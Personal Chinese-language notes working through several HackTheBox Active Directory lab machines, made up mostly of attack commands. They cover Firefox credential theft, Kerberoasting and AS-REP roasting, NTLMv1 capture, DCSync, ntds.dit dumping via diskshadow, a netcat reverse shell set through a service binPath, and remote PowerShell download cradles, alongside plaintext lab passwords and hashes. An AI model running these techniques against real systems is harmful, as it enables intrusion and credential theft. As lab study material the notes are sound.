C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles
ls 有两个文件夹 cd 5rwivk2l.default 这个文件夹里面有东西 type times.json这个凭据没什用 cd..
cd br53rxeg.default-release 这个文件下东西多 有key4.db 和logins.json
在kali中建⽴smb服务,⽤来把⽂件从靶机中拿回来,要设定密码,否则不允许不安全的连接,也要指定-smb2support⽀持协议。
/usr/share/doc/python3-impacket/examples/smbserver.py share . -user
RedteamNotes -pass RedteamNotes -smb2support
完成⽂件的复制,更具参考⽂章的提示,也到程序路径下拿到nss3.dll⽂件:
copy key4.db \10.10.16.16\share
copy logins.json \10.10.16.16\share
C:\Program Files (x86)\Mozilla Firefox> copy nss3.dll \10.10.16.16\share
根据参考⽂章,Firepwd.py和firefox_decrypt.py都以完成破解。随便⽤⼀个试试看。
git clone GitHub - lclevy/firepwd: firepwd.py, an open source tool to decrypt Mozilla protected passwords
streamio_firefox是包含从靶机中下载回来的key4.db、logins.json和nss3.dll的⽂件夹。执⾏破解
python firepwd/firepwd.py streamio_firefox
cat firefox_creds
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:)'
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
cat firefox_creds | awk -F"'" '{print $2":"$4}' | tee firefox_creds_colon
cat firefox_creds | awk -F"'" '{print $2}' | tee firefox_creds_user
cat firefox_creds | awk -F"'" '{print $4}' | tee firefox_creds_pwd
crackmapexec 爆破smb和winrm。
凭据 JDgodd:JDg0dd1s@d0p3cr3@t0r 可以smb共享登录,没有令我们感兴趣的信息。不能winrm,⽆法获得shell
bloodhound枚举AD获得提权路径
wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie:PHPSESSID=chmnbko788t766rp9t0amf121l" --hh 1678
evil-winrm -u nikk37 -p 'get_dem_girls2@yahoo.com' -i streamio.htb
cd C:\Users\nikk37\AppData\roaming\mozilla\Firefox\Profiles
JDgodd
$pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
Add-DomainObjectAcl -Credential $cred - TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"
pivotapi
sudo bash -c 'echo "10.129.228.115 LicorDeBellota.htb
PivotAPI.LicorDeBellota.htb" >> /etc/hosts'
用不了
Kaorz:Roper4155
sudo netstat -tnlp | grep 1337
在 sudo netstat -tnlp | grep 1337
命令中,各个选项的含义如下:
-
-t
: 显示TCP协议的连接信息。 -
-n
: 使用数字形式显示IP地址和端口号,而不是尝试将它们解析为域名或服务名。 -
-l
: 显示处于监听状态的套接字。 -
-p
: 显示与套接字关联的进程信息。
sudo ssh 3v4Si0N@10.129.228.115
3v4Si0N:Gu4nCh3C4NaRi0N!23
Administrador:e4QaRfRSwL6PrA0tSwry (Pwn3d!)
psexec.py Administrador:e4QaRfRSwL6PrA0tSwry@10.129.228.115
APT
这个是访问源码发现的一个 是镜像网站,靶机的web页面是别的镜像过来的
web面没有什么看以下135端口
135 port exploit
rpcclient 不行
sudo rpcclient 10.129.96.60 -p 135
用以下inpack里面的rpcdump
export PATH=/usr/share/doc/python3-impacket/examples:$PATH
rpcdump没有什么敏感信息,有一个uuid ( uuid dcom是基于网络的操作的每一个方法组件都有一个唯一标识符)
用rpcmap
爆破uuid和操作数 默认64所以久一点可以参数改
rpcmap.py ncacn_ip_tcp:10.129.96.60[135] -brute-uuids -brute-opnums
通过扫到的uuid值去goole上搜索 3和5是success 的 看一下跑了什么 server alive2,最后找到了这个工具
这个可以取回网络地址 远程枚举ip 解析网卡地址 找到ipv6的,看看是否有效
GitHub - mubix/IOXIDResolver: IOXIDResolver.py from AirBus Security
./IOXIDResolver.py -t 10.129.96.60
sudo nmap -6 --min-rate 10000 -p- dead:beef::b885:d62a:d679:573f
为什么会有47001,因为设置了winrm但是没开就会默认这个端口
如果开了是5985,如果又ssl的就又同时来个5986端口
可以根据这些这端口大概看出来靶机是什么版本的,一般都是连续的端口,
如果有比较突出的可能是管理员想在这设置什么隐藏入口
它的80和ipv4的一样
smbclient 获得backup.zip
提前-l看一下
普通机器密码存在sam,域控的存在ntds.dit ,ntds.jfm的作用是防止.dit文件丢失 还有system和security在registry下
sudo zip2hash backup.zip > hashbackup
locate *2john 可以看有可以 |wc -l 可以看有几行
直接用secretsdump.py 因为它压缩包里面有密码文件
东西有点多,放文件里
下面两个文件是上面压缩包破解出来的
secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL > ../user_hash_raw
NTDS.dit 存储了 Active Directory 中的用户账户信息,而 SYSTEM 数据库用于加密和保护密码哈希的文件包含关键信息。
如果是root权限,可以用这几句来改权限
head -n 是头 rail -n 是尾行
sudo cat user_hash_raw | grep ':::' | awk -F':' '{print $3,$4}' | sed 's/ /:/g' > user_hash
-
sed
:Stream Editor,用于解析和转换文本的命令行工具。 -
's/ /:/g'
:这是一个替换命令,用sed
替换项替换指定模式的出现。在这种情况下:-
s
: 表示这是一个替换命令。 -
/ /
:指定要替换的模式。在本例中,它是一个空格。 -
:/
:指定替换。在本例中,它是一个冒号。 -
g
:代表“全局”,意味着替换应全局应用于每行上的所有出现位置。如果g
不使用,则仅替换每行中的第一个匹配项。
-
因此,用简单的英语来说,该sed
命令将输入文本的每一行中的所有空格替换为冒号
可以先用kerbrute看一下有哪些用户活跃
./kerbrute_linux_amd64 userenum -d htb.local --dc htb.local user_list
也可以用nmap
sudo nmap -6 -p88 --script=krb5-enum-users --script-args krb5-enum-user.realm='htb.local',userdb=user_list htb.local
有APT$@htb.local
henry.vinson@htb.local
Administrator@htb.local
用crackmapexec碰撞
会把ip ban了
重启靶机
不能用crackmapexec,用一下getTGT.py去碰撞一下
要碰撞两千次,这边写一个shell的循环脚本,先试试henry.vinson,如果实际攻防肯定先试试admin的
上面的echo "-------------------" 每一条好区分,第二个echo是看喂给她哪个hash
#!/bin/bash
while IFS=' ' read -r LINE || [ -n "${LINE}" ]
do
echo "------------------"
echo "feed the hash:${LINE}"
/usr/share/doc/python3-impacket/examples/getTGT.py htb.local/henry.vinson@htb.local -hashes ${LINE}
done < hash_list
-
#!/bin/bash
:此行指定应使用 Bash shell 解释和执行脚本。 -
while IFS='' read -r LINE || [ -n "${LINE}" ]; do
:这是一个while
从文件中读取行的循环hash_list
。该|| [ -n "${LINE}" ]
部分确保循环继续,直到到达文件末尾。 -
echo "------------------"
:这会将分隔线打印到控制台以获得更好的可见性。 -
echo "feed the hash:${LINE}"
:这将打印一条消息,指示脚本正在将哈希值提供给getTGT.py
脚本。 -
/usr/share/doc/python3-impacket/examples/getTGT.py htb.local/henry.vinson@htb.local -hashes ${LINE}
:这将getTGT.py
使用指定的参数执行脚本。它似乎正在使用提供的哈希为henry.vinson@htb.local
Kerberos 领域中的用户请求 TGT 。htb.local
-
done < hash_list
:这标志着循环的结束while
,指定循环从hash_list
文件中读取行。
确保您具有执行该脚本所需的权限,并且该getTGT.py
脚本在指定位置 ( ) 中可用/usr/share/doc/python3-impacket/examples/
。另外,请确保hash_list
文件包含必要的哈希值。
有一个问题是有2000条数据很难找到哪个有效,gettgt这个工具如果成功了会输出一个文件,用下面watch监控新生成的文件
watch "ls -ltr | tail -2"
-
watch
:启动监视命令。 -
"ls -ltr | tail -2"
:这是将要执行的命令watch
。它列出当前目录中的文件及其详细信息,按修改时间倒序(最新的在前)对它们进行排序,然后用于tail -2
显示最后两个条目(文件)。
因此,当您运行此命令时,您将每 2 秒(默认间隔)看到当前目录中两个最近修改的文件的更新列表watch
。输出将被刷新,您将看到目录的最新状态。
得到一个hash,先试试
前半段是空密码的表达
用evil-winrm试试 ,登入不了 ,试试用pesexec,wmiexec,smbexec,dcomexec
用一下reg.py,涉及注册表的操作
reg.py --hashes 'xxxxxxxxx' -dc-ip htb.local htb.local/henry.vinson@htb.local query -keyName HKU//
HKU 主键下存有用户凭据相关的信息,渗透测试下常用,
先看software,因为存的都是用户,软件的凭据
直接给了密码,如果没有要一个个往后看
evil-winrm成功提权
在 promfile下发现的LAPS,查了一下,但是是提权本地账号的,我们要提权域控,所以pass了
搜索一个敏感文件列表,有助于我们枚举auto_wordlists
GitHub - carlospolop/Auto_Wordlists
Auto_Wordlists/wordlists/file_inclusion_windows.txt at main · carlospolop/Auto_Wordlists · GitHub
history 搜索
c:/users/all users/appdata/roaming/microsoft/windows/powershell/psreadline/consolehost_history.txt
试一下这个路径(改目录里面的用户名,最后试的henry.vison_adm有东西)
是一个脚本,说修改密码机制,下面这个可以利用应该,
goole查一下
思路试上面的脚本文件设置了密码加密程度为2,goole查一下试利用ntlm v1加密的,而这个加密是可以破解的
Responder破解
TrustedSec | Practical Attacks against NTLMv1
之前枚举看到的,可以和上面的windows defender文件夹下的的联系起来
靠山吃山理念,可以去理解,好多工具的使用
goole直接搜,LOLBAS LOLBAS
是个网站,里面是靠山吃山工具的理念使用(系统有啥文件就用啥文件)
这个是linux的 GTFOBins
使用Responder
sudo ./Responder.py -I tun0 --lm
因为执行后的challenge set是随机的,每次利用都会不一样
所以要改一下
改成固定值
再次执行。-v是避免已经显示的随机数不在显示,全部显示,执行后开始监听
靶机里面执行(这个命令可以从上面的lolbas中查)
.\MpCmdrun.exe -Scan -scantype 3 -File \10.1016.10\noexist
noexit就是不需要访问任何文件,只需要连接一下
这个就是利用这个工具执行一次连接,连接我们的responder,
将获得hash保存下来
工具利用 ntlmv1-multi
GitHub - evilmog/ntlmv1-multi: NTLMv1 Multitool
工具利用后告诉你怎么破解
利用crack.sh网站,但是要钱
把change set改成这个,特定的这样才可以在这个网站破解,可能是这个网站在靶机做的宣传。1122334455667788
在获得了apt$权限后,我们可以利用evil-winrm来横向,不过这样获得也可能只是高一点的权限,我们可以用secretsdump.py看看是否能转储出更多的凭据
得到一个admin的
得到权限
Active
smbclient 发现目录active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
里面有
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"/>
属于AES256加密的
john passwd_hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (cryptoSafe [AES-256-CBC])
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
解密得GPPstillStandingStrong2k18
GetUserSPNs.py -request -dc-ip 10.129.45.13 active.htb/svc_tgs:GPPstillStandingStrong2k18
$krb5tgs$23$Administrator$ACTIVE.HTB$active.htb/Administrator$e19fc8f3a395ea9d61d9a15d32f58245$c0ba8370fe6483729f151a9204854db2fa3d488f832c427672ee9618df0df1a58f9489165eb81e78c111dfad566bcaec95daa565db656f43836b8e8e95c00b46c1b1b74c5acaf02c1289bd019ef7ca293c6c6724d45b498c85729fb4d9de8122dfa62bff3b0877e99c0cfe0d3b4e9f668eac1d95250c72cbe72fe7781cc4bf70a557a3b2f6ffd8303179867efeae2ac167e9f0ec9db59cdf924828ffacc4470ebf2bf61447a3347803f28f4e17d39139e36c23ff78f9c54435a0680bacf5078392ccc86103488d043519ca8b23372b77898312771d3705ac42ac514f36ff03c9d383cbe45050bd083da4337a555165ce3ecb4275f433daf893816b739e680843c8a95303684362dd98864c71c88b69687874e060153812dd3715d25075c1fb00d1fda4b8ce4e0a564aa29686c069a067251b054f4c3090f2a4a54dddc8b44c031a0b1e25ffa56a2d9d025d9b9e744c983b7f813bb6b8411770698751d96921da197768d28359c216ed146a8d3943d85b4291fa9953bd4d7f63e276552378da2ee0e7cbc9a41bad22590a23592561945f5f50ff84329b99c49473260a0b982d1a0627effee1649ccedcb1a84dec13bba29a32a70bfd70bed3118028f590ef31a75b0eea8ec7ba132396ed140471cd027b940ed9f073b2ecff0c23444f132ef2842d7d345692c85420a532c30acf296e4e9cc4f98254cdc1edb04788e90c9a854c058acf3554eae45e5b5221d5ec557d87030ff535427b85723bda3a9c2fd84b2e1c9bb1e0464aeb607ec1721175f3de4cb46e16d4bab76552cab2c1805694bbf24d275377bd922bd55b28fd88fcd2ade0451efedc3532ac8ddcabcc0df2a40620544a3a22949316c343d6915b1eb4cbe91f1681641bf01f9c29b4ac883070a61fe80c8e05ea51133ed5c732b38ea4756a1a93c16a532a369a85a53059356f88cc6f33c607869a1d4b2e71e4b77a14a988a634139ca78ff5c3b47ff0769c19d9c23ad64c740716efa3b23e300952e3579c48acec6d1868ca7de89a0497d5f5ae42a151a2dd66f3bc83c7d7230ef10cbf822b0af997d11504b40e65fce3dbc47896702596eeb2dcda2ff7a99049f2e5523581fde786dc3ba59c8a22fd74f859986426e30194bb8631c202180f02695c454d162b1afffffdb54c1581046607d87e93d124328dcc762d1a1eb1bbd269c68f8c464e4fdb74f118cbab670eca7461768548215417b67a16aa29f1503666db4c81871841bdd16a75f9850c
Ticketmaster1968 Administrator
forest
rpcclient 罗列用户
user:[mark] rid:[0x47f] user:[santi] rid:[0x480] 利用awk等命令该文本中的用户名提取出来
可以使用awk
命令来提取文本中的用户名。假设你的文本保存在一个文件中,比如user_data.txt
,你可以使用以下命令:
awk -F'[][]' '/user:/{print $2}' user_data.txt
这个命令的解释如下:
-
-F'[][]'
:指定awk
使用方括号[]
作为字段分隔符。 -
/user:/{print $2}
:当行中包含字符串"user:"时,打印第二个字段。
使用这个命令,它将提取出文本中所有包含"user:"的行中的用户名。
GetNPUsers.py -dc-ip 10.129.104.62 -request 'htb.local/' 这个可以
GetNPUsers.py -no-pass -dc-ip 10.129.228.115 LicorDeBellota.htb/ -usersfile user_list 这个不行
获得hash
john解密
s3rvice ($krb5asrep$23$svc-alfresco@HTB.LOCAL)
横向
evil-winrm -i 10.129.104.62 -u svc-alfresco -p s3rvice
1c8a6d52fe0d9bef1db93c8aebf300b1
iex(new-object net.webclient).downloadstring("http://10.10.16.3/SharpHound.ps1")
powershell iex(new-object net.webclient).downloadstring('http://10.10.16.3/SharHound.ps1')
权限提升
bloodhound-python -c All -u svc-alfresco -p 's3rvice' -ns 10.129.104.62 -d htb.local -dc htb.local --zip
我们可以在域对象上滥用 WriteDacl 来授予我们 HTB.LOCAL 上的 DCSync 权限。
为了滥用这一点,我们将首先创建一个新用户,以便在需要时保证当前帐户的安全。创建用户
net user miku miku@123 /add /domain
现在,我们将其添加到 Exchange Windows 权限组中
net group "Exchange Windows Permissions" /add miku
现在,在PowerView的帮助下我们将滥用WriteDacl,PowerView是PowerSploit的一部分。我们可以从github上下载它。否则,我们可以将 PowerView.ps1 脚本复制到我们的 Web 服务器目录,然后再次在远程 shell 上加载该脚本。要在 shell 上加载脚本,我们将运行
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.41/PowerView.ps1')
我们将再次为我们的密码和凭据创建一个凭据对象。这次是我们创建的用户
$pass = convertto-securestring 'miku@123' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential ('HTB\miku', $pass)
现在,我们运行以下命令来授予我们帐户的 DCSync 权限
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity miku -Rights DCSync
获取 DCSync 权限
获得权限后,我们将从机器中转储机密并使用机密以管理员身份登录。
为了转储秘密,我们将使用另一个冲击工具*secretsdump.py*。如果运行成功,则意味着我们的权限已成功分配,并且秘密将被转储。
python3 Secretsdump.py htb.local/miku:miku@123@10.129.1.77
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
return
95.241
Server Operators 组提权
服务器运营商 Server Operators 组的成员可以管理域控制器。该组仅存在于域控制器上。默认情况下,该组没有成员。Server Operators 组的成员可以执行以下操作:以交互方式登录服务器、创建和删除网络共享资源、启动和停止服务、备份和还原文件、格式化计算机的硬盘驱动器以及关闭服务器。电脑。该组无法重命名、删除或移除。
默认情况下,该内置组没有成员。该组有权访问域控制器上的服务器配置选项。其成员身份由域中的服务管理员组 Administrators 和 Domain Admins 以及林根域中的 Enterprise Admins 组控制。该组中的成员无法更改任何管理组成员身份。该组被视为服务管理员帐户,因为其成员具有对域控制器的物理访问权限。该组的成员可以执行备份和还原等维护任务,并且可以更改安装在域控制器上的二进制文件
作为服务器操作员组的成员并不是漏洞,但该组的成员具有在域中进行更改的特殊权限,这可能导致攻击者升级到系统权限
然后,我们将netcat.exe二进制文件传输到受感染的主机,并更改了该服务的二进制路径。我们更改二进制路径的原因是为了以系统用户身份从受感染的主机接收反向连接。
怎么运行的?
当我们启动任何服务时,它将从其二进制路径执行二进制文件,因此,如果我们用 netcat 或反向 shell 二进制文件替换服务二进制文件,那么它将为我们提供一个作为系统用户的反向 shell,因为该服务是作为系统上的系统启动的。受损的主机。请注意,我们需要使用 netcat 二进制文件指定攻击者的 IP 地址和侦听端口号。
upload /home/kali/nc64.exe
sc.exe config VMTools binPath="C:\Users\aarti\Documents\nc.exe -e cmd.exe 10.10.16.9 1234"
Windows Privilege Escalation: Server Operator Group - Hacking Articles
kali nc -lvp 1234
靶机 (也可以滥用VGAuthService服务)
sc.exe stop VMTools
sc.exe start VMTools
sauna
EGOTISTICAL-BANK.LOCAL
每当我看到 DNS 时,都值得尝试区域传输。两者sauna.htb
都egotistical-bank.local
未能返回任何内容:
dig @10.10.10.175 AXFR Egotistical-bank.local
使用匿名 LDAP 搜索查找用户“hsmith”
如果没有任何凭据,无法从 Kerberos 找到很多信息,因此我将继续使用 LDAP 服务,看看是否可以从匿名会话中转储信息。
首先,获取域名库的查询是ldapsearch -x -h 10.10.10.175 -s base namingcontexts
,其中:
-
-x
- 简单的身份验证 -
-h 10.10.10.175
- 主机查询 -
-s base
- 将范围设置为基础 -
naming contexts
- 返回命名上下文
可以用来-b 'DC=EGOTISTICAL-BANK,DC=LOCAL'
获取有关域的信息
ldapsearch -x -H ldap://10.10.10.175 -b "dc=Egotistical-bank,dc=local"
./kerbrute_linux_amd64 userenum --domain Egotistical-bank.local --dc 10.129.95.180 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500
爆破出fsmith 猜测之前80端口发现的人名应该写成这种格式
fsmith scoins sdriver btayload hbear skerb
GetNPUsers.py -dc-ip 10.129.95.180 -request 'EGOTISTICAL-BANK.LOCAL/' -usersfile user_list_two -no-pass 获得hash
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:20b5657baf93918f5168fa978d40462e$5a9033470c3e5ccb75b75b0d78cdd37a7c5b4f75cb5f47d2f4ae136b75b11de1b5cd9402d5bbdc54d1dcd3713551f3096404f6fe28b8d78673cf4ba729b463e03a9f42cbf58a5d56762a5e68169fbace39b6b1442a87128df392402e35ece2af00d764fc61f0580e7e649ed0f3ea8aa14c3aba95f064451f3055ff20824ba878120e86b48f9f20ed10e9d3933010d3a18b28d3c78e1c91a5175f6011d2c0c33655cc67ffae6cb4509e82ae288dbeba56ca4115430238757bed06d0b608038e82d6d4950bf4a6ab66316f3c02ea93e34074da955656b782edb2dd0051c1dafb40642f421f36e719676b565a38d53ca42dd0d1973d762601c7ef1c98f1d56341a2
-u 'fsmith' -p 'Thestrokes23'
net user /domain
AD Escalation – Kerberoasting Attacks - Juggernaut-Sec
HackTheBox – Sauna - Walkthrough Write-Up HTB
服务帐户 svc_loanmgr。
首先,我检查 DC 上是否有任何存储的凭据。
cmdkey /list
没有找到任何东西,所以我决定检查 PowerShell 历史文件。
cat (Get-PSReadlineOption).HistorySavePath
PowerShell历史文件不存在,这表明用户以前从未使用过PowerShell。
接下来,我使用以下命令检查了 AutoLogon 注册表项:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
繁荣!在自动登录注册表中找到了服务帐户的凭据! 利用winpeas也可以
Moneymakestheworldgoround! svc_loanmanager
Password Hunting – Windows Privilege Escalation 手工的
secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.129.95.180'
aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
Support
HTB: Support | 0xdf hacks stuff
smbclient 登入获取zip文件
里面是.net文件
利用dnspy打开文件UserInfo.exe
找到LdapQuery函数查,看该Protected.getPassword()
函数
利用断点调试找到明文密码
后面提权是基于资源委派攻击看另外一个笔记里面有
在Kali Linux中,mono
是一个用于运行.NET应用程序的软件包。Mono 是一个开源的实现,允许在非Windows平台上运行基于.NET Framework的应用程序。它提供了一个跨平台的.NET运行时环境,使得开发人员能够在Linux、macOS等操作系统上运行C#和其他.NET语言编写的应用程序。
mono UserInfo.exe
Usage: UserInfo.exe [options] [commands]
Options: -v|--verbose Verbose output
Commands: find Find a user user Get information about a user
LDAP 协议是未加密的明文。因此,如果我们运行可执行文件,则在尝试连接时应发送明文密码。我们只需要在可执行文件尝试连接到 AD 服务器时捕获网络流量。
bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.129.46.228
通常,对于用户对象,cn
属性用来存储用户的全名或显示名称。对于其他对象(如组、计算机等),cn
可能包含相应对象的名称。
evil-winrm -i support.h -u support -p 'Ironside47pleasure40Watchful'
07a4fee248d0e723926462866a047c75
echo " Your Text Here" | sed 's/^[ \t]*//'
这个命令使用正则表达式,^[ \t]*
表示匹配行首的零个或多个空格或制表符,然后替换为空字符串。
blackfield
blackfield.local 10.129.229.17
2023/12/24 01:49:40 > [+] VALID USERNAME: audit2020@blackfield.local 2023/12/24 01:49:41 > [+] VALID USERNAME: support@blackfield.local 2023/12/24 01:49:41 > [+] VALID USERNAME: svc_backup@blackfield.local
#00^BlackKnight
enum4linux -a -u support -p '#00^BlackKnight' 10.10.10.192 > enum.txt
rpcclient改密码Reset AD user password with Linux - Malicious Link - Blog by mubix - Rob Fuller
rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "0xdf!!!"'
pypykatz lsa minidump lsass.DMP
INFO:root:Parsing file lsass.DMP FILE: ======== lsass.DMP ======= == LogonSession == authentication_id 406458 (633ba) session_id 2 username svc_backup domainname BLACKFIELD logon_server DC01 logon_time 2020-02-23T18:00:03.423728+00:00 sid S-1-5-21-4194615774-2175524697-3563712290-1413 luid 406458 == MSV == Username: svc_backup Domain: BLACKFIELD LM: NA NT: 9658d1d1dcd9250115e2205d9f48400d
备份操作员是一个默认的 Windows 组,旨在使用某些方法来备份和恢复计算机上的文件,以读取和写入系统上的所有(或大多数)文件。
这个存储库有一组很好的 PowerShell 工具,用于滥用SeBackupPrivilege
. 我将克隆它,然后需要将两个文件上传到 Blackfields:
upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload /home/kali/black/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
现在我将它们导入到我当前的会话中:
*Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeCmdLets.dll *Evil-WinRM* PS C:\programdata> import-module .\SeBackupPrivilegeUtils.dll
现在我可以跨文件系统读取文件。例如,我无法C:\windows\system32\config\netlogon.dns
以非管理员用户身份读取:
但我可以复制它并阅读它:
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns
type \programdata\netlogon.dns
由于某种原因,我无法阅读root.txt
:
我想要获取的下一个文件是ntds.dit
DC 上保存所有密码哈希值的数据库。不幸的是,我无法抓住它,因为它正在使用中
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .
如果我们尝试使用robocopy制作 ntds.dit 文件的副本,我们会发现由于正在使用的进程而失败。
robocopy /b C:\Windows\NTDS C:\Profiles NTDS.dit
使用diskshadow.exe
默认情况下,diskshadow.exe 仅安装在 Windows Server 上。
由于 diskshadow.exe 是一个交互式命令,而我们当前有一个非交互式会话,因此我们必须制作一个可以输入到 diskshadow.exe 中的 TXT 文件。这将使我们能够执行必要的命令并创建卷影副本。
我直接在受害者计算机上使用以下命令来制作 diskshadow.txt 文件:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append echo "create" | out-file ./diskshadow.txt -encoding ascii -append echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
上面的命令本质上告诉 diskshadow.exe 创建 C: 的副本并将其命名为 Z: 并公开它(使其可作为驱动器访问)。
创建 diskshadow.txt 文件后,我使用以下命令创建卷影副本并将其显示为 Z:\ 驱动器:
diskshadow.exe /s c:\temp\diskshadow.txt
随着 Z:\ 驱动器暴露,我现在可以再次使用 robocopy,但这一次它将用于将备份 ntds.dit 文件移动到我的临时文件夹,而不是正在运行的文件。
cd Z: cd windows cd ntds robocopy /b .\ C:\temp NTDS.dit
获取 ntds.dit 文件后,我们还需要从注册表中获取 SYSTEM 文件,然后将这两个文件发送到我们的攻击者计算机以在本地转储。
cd C:\temp reg.exe save hklm\system C:\temp\system.bak
这次为了泄露这些文件,我们可以使用villain-winrm的内置下载命令,如下所示:
download ntds.dit download system.bak
现在这两个文件都在我的攻击者计算机上,我再次使用 Secretsdump.py 并成功转储域中的所有哈希值!
我第一次运行此命令时,我没有将其重定向到文件,并且有超过 300 个用户的文件。重定向输出使其更易于解析。
secretsdump.py -ntds ntds.dit -system system.bak LOCAL > hashes.txt
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
184fb5e5178480be64824d4cd53b99ee
mantis
10.129.7.108
http://10.129.7.108:1337/secure_notes/
-
Download OrchardCMS
-
Download SQL server 2014 Express ,create user "admin",and create orcharddb database
-
Launch IIS and add new website and point to Orchard CMS folder location.
-
Launch browser and navigate to http://localhost:8080
-
Set admin password and configure sQL server connection string.
-
Add blog pages with admin user.
echo "NmQyNDI0NzE2YzVmNTM0MDVmNTA0MDczNzM1NzMwNzI2NDIx" | base64 --decode s
echo "6d2424716c5f53405f504073735730726421" | xxd -r -p && echo ''
-
echo "6d2424716c5f53405f504073735730726421"
:这会将十六进制字符串打印到标准输出。 -
|
:这是一个管道,它获取前面命令的输出并将其作为输入传递给后面的命令。 -
xxd -r -p
:这会将十六进制字符串转换为其二进制表示形式。这些选项-r
指定反向操作(十六进制到二进制),并-p
指定没有附加信息的纯格式。 -
&&
:这是一个逻辑 AND 运算符。&&
仅当前面的命令成功时才会执行后面的命令。 -
echo ''
:这会打印一个换行符。
因此,该命令的总体效果是打印给定的十六进制字符串的二进制表示形式,后跟换行符。echo ''
除非您特别想在二进制数据后打印换行符,否则该部分并不是绝对必要的。如果删除它,该命令仍然有效:
mssqlclient.py admin@10.129.7.108
m$$ql_S@_P@ssW0rd!
select name from master..sys.databases
use orcharddb
select table_name from information_schema.tables;
select * from information_schema.columns where table_name='blog_Orchard_Users_UserPartRecord';
出来是乱码
select username,email,password from blog_Orchard_Users_UserPartRecord
James james@htb.local J@m3s_P@ssW0rd!
也可以使用sqsh ,没有乱码
不同的是查找完数据库要退出来在 加-d参数进入自己想用的数据库名
sqsh -S 10.10.10.52 -U admin -P 'm$$ql_S@_P@ssW0rd!' -d orcharddb
Plaintext Credentials without Interactive Access This method will require some method of proxying traffic into the network, such as the socks command in cobaltstrike, or direct internet connection to the target network, as well as the xfreerdp (suggested because of support of Network Level Authentication (NLA)) tool, which can be installed from the freerdp-x11 package. If using socks, ensure that proxychains is configured properly. Initiate the remote desktop connection with the following command:
(proxychains) xfreerdp /u:dfm /d:testlab.local /v:<computer ip>
xfreerdp will prompt you for a password, and then initiate the remote desktop connection.
Password Hash without Interactive Access This method will require some method of proxying traffic into the network, such as the socks command in cobaltstrike, or direct internet connection to the target network, as well as the xfreerdp (suggested because of support of Network Level Authentication (NLA)) tool, which can be installed from the freerdp-x11 package. Additionally, the target computer must allow Restricted Admin Mode. If using socks, ensure that proxychains is configured properly. Initiate the remote desktop connection with the following command:
(proxychains) xfreerdp /pth:<ntlm hash> /u:dfm /d:testlab.local /v:<computer ip> This will initiate the remote desktop connection, and will fail if Restricted Admin Mode is not enabled.
利用 MS14-068 制作具有域管理员权限的 Keberos 票证
object
Jenkins privilege escalation
Lab of a Penetration Tester: Script Execution and Privilege Escalation on Jenkins Server
Lab of a Penetration Tester: Hacking Jenkins Servers With No Password - Powershell fun
How to implement a remote Jenkins build trigger with a URL 如何创建
1165d29f238a8384e97f81cae167805e2f
curl "http://0xdf:1165d29f238a8384e97f81cae167805e2f@object.htb:8080/job/0xdf's%20job/build?token=0xdfToken"
JENKINS_URL/job/aaa/build?token=TOKEN_NAME
这个好网站
Abusing Active Directory ACLs/ACEs | HackTricks | HackTricks
Jenkins渗透(看笔记)
HTB: Object | 0xdf hacks stuff
evil-winrm -i 10.129.96.147 -u oliver -p c1cdfun_d2434
GitHub - hoto/jenkins-credentials-decryptor: Command line tool for dumping Jenkins credentials. 解码
提权看笔记
reel
set nu显示行号vim中
10.129.8.71
ftp匿名登入
查看readme.txt
我们可以看到有人正在等待一封带有 RTF 格式文档附件的电子邮件。这让我们想到,如果我们能够获取电子邮件地址,则可能会向收件人发送网络钓鱼电子邮件。
smtp使用
telnet登入 telnet 10.129.8.71 25
-
HELO/EHLO
:这些命令发出 “Hello” 并在客户端和服务器之间启动 SMTP 连接。“HELO
” 是该命令的基本版本;“EHLO
